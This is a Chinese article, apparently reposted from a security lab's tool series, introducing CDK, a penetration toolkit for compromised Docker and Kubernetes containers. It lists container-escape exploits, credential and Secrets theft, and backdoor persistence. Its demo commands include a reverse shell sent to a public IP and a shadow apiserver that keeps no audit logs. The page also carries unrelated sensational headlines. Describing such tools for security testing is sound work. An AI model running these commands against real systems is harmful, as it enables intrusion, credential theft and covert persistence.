终究没有人在意一家民营企业的生死

去泰国看了一场“成人秀”,画面尴尬到让人窒息.....

【少儿禁】马建《亮出你的舌苔或空空荡荡》

网友建议:远离举报者李X夫!

网曝黑人留学生侮辱中国女生是“母狗”,网友愤慨:不欢迎洋垃圾

生成图片,分享到微信朋友圈

自由微信安卓APP发布,立即下载! | 提交文章网址
查看原文

404星链计划 | CDK:一款针对容器场景的多功能渗透工具






404星链计划即将迎来改版更新啦,我们会在项目展示、奖励计划等方面有所优化调整,同时会新收录几个优秀的开源安全工具。在此之前,让我们一同回顾一下星链计划自2020年8月上线以来我们收录过的部分项目,它们中很多已经为大家熟知,成为日常工作的一部分,有些还有待你去探索新的利用方式~ 今天介绍的项目是CDK。


另外欢迎加入404星链计划社群,请在文末识别运营同学二维码,添加时备注“星链计划”。



项目名称:CDK

项目作者:CDK-Team

项目地址:

https://github.com/cdk-team/CDK/




CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。


场景介绍


伴随着容器技术的快速发展,容器安全问题也逐渐成为企业所关注的话题。针对容器场景的渗透测试一方面要求攻击者理解对Docker/K8s以及云服务的原理、特性以及漏洞利用方式;另一方面,攻击者通过业务漏洞(如WEB RCE)攻入容器后往往面对的是一个缩减后的容器环境,缺乏常用的linux命令依赖导致渗透效率不佳。
CDK为安全测试人员提供了golang原生的容器环境渗透能力,主要有以下几点:
  1. 评估容器内部弱点、搜集敏感信息。
  2. 提供多种容器逃逸的漏洞利用方式。
  3. 提供K8s环境的多种持久化、横向移动方式。
  4. 提供原生的进程、网络命令,便于测试者自定义攻击操作。


功能


CDK包括三个功能模块
  1. Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
  2. Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
  3. Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。


  • Evaluate 模块

用于本地信息收集,寻找可用的逃逸点,使用 --full 参数时会包含本地文件扫描。

类别检测点已支持详细文档
本地信息收集OS基本信息link
本地信息收集可用的Capabilitieslink
本地信息收集可用的Linux命令link
本地信息收集挂载情况link
本地信息收集网络namespace隔离情况link
本地信息收集环境变量link
本地信息收集敏感服务link
本地信息收集敏感目录及文件link
本地信息收集kube-proxy边界绕过(CVE-2020-8558)link
网络探测K8s Api-server信息link
网络探测K8s Service-account信息link

网络探测

云厂商Metadata API

link



  • Exploit 模块

执行指定的exp。


类别功能‍‍‍‍‍调用名已支持文档
容器逃逸docker-runc CVE-2019-5736runc-pwn
容器逃逸containerd-shim CVE-2020-15257shim-pwnlink
容器逃逸docker.sock逃逸PoC(docker-in-docker)docker-sock-checklink
容器逃逸docker.sock部署恶意镜像docker-sock-deploylink
容器逃逸挂载逃逸(特权容器)mount-disklink
容器逃逸Cgroup逃逸(特权容器)mount-cgrouplink
容器逃逸Procfs目录挂载逃逸mount-procfslink
容器逃逸Ptrace逃逸PoCcheck-ptracelink
容器逃逸lxcfs cgroup错误配置逃逸lxcfs-rwlink
容器逃逸重写Cgroup以访问设备rewrite-cgroup-deviceslink
网络探测K8s组件探测service-probelink
信息收集检查和获取Istio元信息istio-checklink
远程控制反弹shellreverse-shelllink
信息窃取扫描AK及API认证凭据ak-leakagelink
信息窃取窃取K8s Secretsk8s-secret-dumplink
信息窃取窃取K8s Configk8s-configmap-dumplink
持久化部署WebShellwebshell-deploylink
持久化部署后门Podk8s-backdoor-daemonsetlink
持久化部署影子K8s api-serverk8s-shadow-apiserverlink
持久化K8s MITM攻击(CVE-2020-8554)k8s-mitm-clusteriplink
持久化部署K8s CronJobk8s-cronjoblink



  • Tool 模块

还原部分常用的Linux命令,解决容器环境缩减的问题。

子命令描述已支持文档
nc
TCP隧道
link
ps
获取进程信息
link
ifconfig
获取网络信息
link
vi
文本编辑
link
kcurl
发包到K8s api-server
link
dcurl
发包到Docker HTTP API


ucurl
发包到Docker Unix Socket
link
rcurl
发包到Docker Registry API


probe
IP/端口扫描
link
kproxy
kubectl代理转发




使用方法


下载可执行文件投递到已攻入的容器内部开始测试:
  • https://github.com/cdk-team/CDK/releases/
命令行参数:
Container DucK
Zero-dependency docker/k8s penetration toolkit by <i@cdxy.me>
Find tutorial, configuration and use-case in https://github.com/Xyntax/CDK/wiki

Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]

Evaluate:
cdk evaluate Gather information to find weekness inside container.
cdk evaluate --full Enable file scan during information gathering.

Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/Xyntax/CDK/wiki

Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl (get|post) <url> <data> Make request to K8s api-server.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
-h --help Show this help msg.
-v --version Show version.



工具演示



  • 评估容器弱点

cdk evaluate --full


  • containerd-shim(CVE-2020-15257)漏洞逃逸


通过共享的net namespace向宿主机的containerd-shim进程发起请求,利用其特性反弹宿主机的shell到远端服务器。
./cdk run shim-pwn 47.104.151.168 111

  • docker.sock漏洞逃逸

通过本地docker.sock向控制宿主机的docker进程,拉取指定的后门镜像并运行,运行过程中镜像将宿主机的根目录/挂载到容器内部的/host目录下,便于通过后门容器修改宿主机本地文件(如crontab)来完成逃逸。
# deploy image from dockerhub
./cdk run docker-sock-deploy /var/run/docker.sock alpine:latest

# deploy image from user image registry
./cdk run docker-sock-deploy registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd

  • 部署K8s shadow apiserver

向K8s集群中部署一个shadow apiserver,该apiserver具有和集群中现存的apiserver一致的功能,同时开启了全部K8s管理权限,接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。
./cdk run k8s-shadow-apiserver default


欢迎加入星链计划社群,入群请添加下方运营同学微信,添加时请备注“星链计划”。


往 期 热 门
(点击图片跳转)

404星链计划 | 抗击黑客:如何利用Elkeid构建入侵检测能力


劫持 Golang 编译


rdp 协议攻击面与安全性分析



文章有问题?点此查看未经处理的缓存